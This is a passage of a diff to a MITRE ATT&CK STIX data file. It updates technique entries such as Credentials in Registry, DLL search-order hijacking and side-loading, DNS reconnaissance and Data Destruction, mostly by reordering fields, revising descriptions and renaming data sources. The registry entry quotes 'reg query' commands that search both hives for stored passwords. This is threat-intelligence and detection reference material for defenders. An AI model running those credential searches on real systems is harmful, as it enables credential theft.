"2020-02-04T12:58:40.678Z", + "modified": "2020-02-07T20:49:18.834Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "name": "Credentials in Registry", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -6749,43 +7152,27 @@ "source_name": "Pentestlab Stored Credentials" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Credentials in Registry", - "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", - "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "modified": "2020-02-07T20:49:18.834Z", - "created": "2020-02-04T12:58:40.678Z", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_system_requirements": [ - "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", - "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Windows Registry" + "x_mitre_platforms": [ + "Windows" ], "x_mitre_contributors": [ "Sudhanshu Chauhan, @Sudhanshu_C" ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access" + ], + "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_system_requirements": [ + "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0" }, { "external_references": [ @@ -6827,8 +7214,10 @@ ], "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_platforms": [ "Linux", @@ -6967,13 +7356,16 @@ "phase_name": "credential-access" } ], - "modified": "2020-03-24T20:46:23.547Z", + "modified": "2021-04-22T20:20:14.595Z", "created": "2020-02-11T18:45:34.293Z", "x_mitre_contributors": [ + "ExtraHop", "Vincent Le Toux" ], "x_mitre_data_sources": [ - "Windows event logs" + "Active Directory: Active Directory Object Access", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_permissions_required": [ "Administrator" @@ -7036,25 +7428,8 @@ "created": "2017-05-31T21:30:40.604Z" }, { - "created": "2020-03-13T18:11:08.357Z", - "modified": "2020-03-26T16:13:58.862Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "type": "attack-pattern", "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", - "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "name": "DLL Search Order Hijacking", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -7077,9 +7452,19 @@ "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014." }, { - "url": "https://www.owasp.org/index.php/Binary_planting", + "source_name": "FireEye Hijacking July 2010", + "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html", + "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020." + }, + { + "source_name": "OWASP Binary Planting", "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", - "source_name": "OWASP Binary Planting" + "url": "https://www.owasp.org/index.php/Binary_planting" + }, + { + "source_name": "FireEye fxsst June 2011", + "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html", + "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020." }, { "source_name": "Microsoft Security Advisory 2269637", @@ -7092,9 +7477,9 @@ "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020." }, { - "url": "https://msdn.microsoft.com/en-US/library/aa375365", + "source_name": "Microsoft Manifests", "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", - "source_name": "Microsoft Manifests" + "url": "https://msdn.microsoft.com/en-US/library/aa375365" }, { "source_name": "FireEye DLL Search Order Hijacking", @@ -7102,6 +7487,23 @@ "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020." } ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2021-04-26T18:37:03.748Z", + "created": "2020-03-13T18:11:08.357Z", "x_mitre_platforms": [ "Windows" ], @@ -7110,14 +7512,13 @@ "Stefan Kanthak" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "DLL monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Module: Module Load" ], - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "external_references": [ @@ -7150,36 +7551,8 @@ "created": "2017-05-31T21:30:58.007Z" }, { - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.002", - "url": "https://attack.mitre.org/techniques/T1574/002" - }, - { - "external_id": "CAPEC-641", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/641.html" - }, - { - "source_name": "About Side by Side Assemblies", - "url": "https://docs.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies-", - "description": "Microsoft. (2018, May 31). About Side-by-Side Assemblies. Retrieved March 13, 2020." - }, - { - "source_name": "FireEye DLL Side-Loading", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020." - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "DLL Side-Loading", - "description": "Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.\n\nPrograms may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", - "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "type": "attack-pattern", + "created": "2020-03-13T19:41:37.908Z", + "modified": "2021-04-26T18:31:34.954Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -7194,19 +7567,43 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-17T15:15:27.807Z", - "created": "2020-03-13T19:41:37.908Z", + "type": "attack-pattern", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1574.002", + "url": "https://attack.mitre.org/techniques/T1574/002" + }, + { + "external_id": "CAPEC-641", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/641.html" + }, + { + "source_name": "FireEye DLL Side-Loading", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "DLL Side-Loading", + "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", + "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", "x_mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Process use of network" + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Process: Process Creation" ], "x_mitre_platforms": [ "Windows" @@ -7258,11 +7655,8 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "DNS records", - "Process monitoring", - "Process use of network", - "Packet capture" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -7293,7 +7687,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "DNS", - "description": "Before compromising a victim, adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", "type": "attack-pattern", "kill_chain_phases": [ @@ -7302,7 +7696,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:02:39.701Z", + "modified": "2021-04-15T03:29:18.740Z", "created": "2020-10-02T15:47:10.102Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -7351,7 +7745,7 @@ "modified": "2020-03-27T20:54:28.287Z", "created": "2020-03-11T14:56:34.154Z", "x_mitre_data_sources": [ - "DNS records" + "Network Traffic: Network Traffic Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -7380,7 +7774,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "DNS Server", - "description": "Before compromising a victim, adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", + "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81", "type": "attack-pattern", "kill_chain_phases": [ @@ -7389,7 +7783,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-19T00:11:26.376Z", + "modified": "2021-04-15T02:49:49.702Z", "created": "2020-10-01T00:40:45.279Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -7430,7 +7824,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "Before compromising a victim, adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", + "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "name": "DNS Server", "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", "type": "attack-pattern", @@ -7440,7 +7834,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-19T01:22:53.922Z", + "modified": "2021-04-15T03:01:54.609Z", "created": "2020-10-01T00:54:30.869Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_version": "1.0", @@ -7472,7 +7866,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "DNS/Passive DNS", - "description": "Before compromising a victim, adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532", "type": "attack-pattern", "kill_chain_phases": [ @@ -7481,7 +7875,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:19:40.584Z", + "modified": "2021-04-15T03:49:13.409Z", "created": "2020-10-02T16:57:45.044Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -7511,13 +7905,15 @@ "created": "2017-05-31T21:30:19.338Z" }, { - "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", - "name": "Data Destruction", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2019-03-14T18:47:17.701Z", + "modified": "2021-03-25T14:47:48.728Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -7525,9 +7921,9 @@ "url": "https://attack.mitre.org/techniques/T1485" }, { - "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", "url": "https://www.symantec.com/connect/blogs/shamoon-attacks", - "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019." + "source_name": "Symantec Shamoon 2012" }, { "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html", @@ -7545,46 +7941,69 @@ "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019." }, { - "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", - "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019." + "source_name": "Unit 42 Shamoon3 2018" }, { "source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." - } - ], - "type": "attack-pattern", - "kill_chain_phases": [ + }, { - "kill_chain_name": "mitre-attack", - "phase_name": "impact" + "source_name": "Data Destruction - Threat Post", + "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/", + "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020." + }, + { + "source_name": "DOJ - Cisco Insider", + "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network", + "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020." } ], - "modified": "2020-03-27T21:08:19.783Z", - "created": "2019-03-14T18:47:17.701Z", - "x_mitre_is_subtechnique": false, - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Data Destruction", + "description": "Adversaries may destroy data 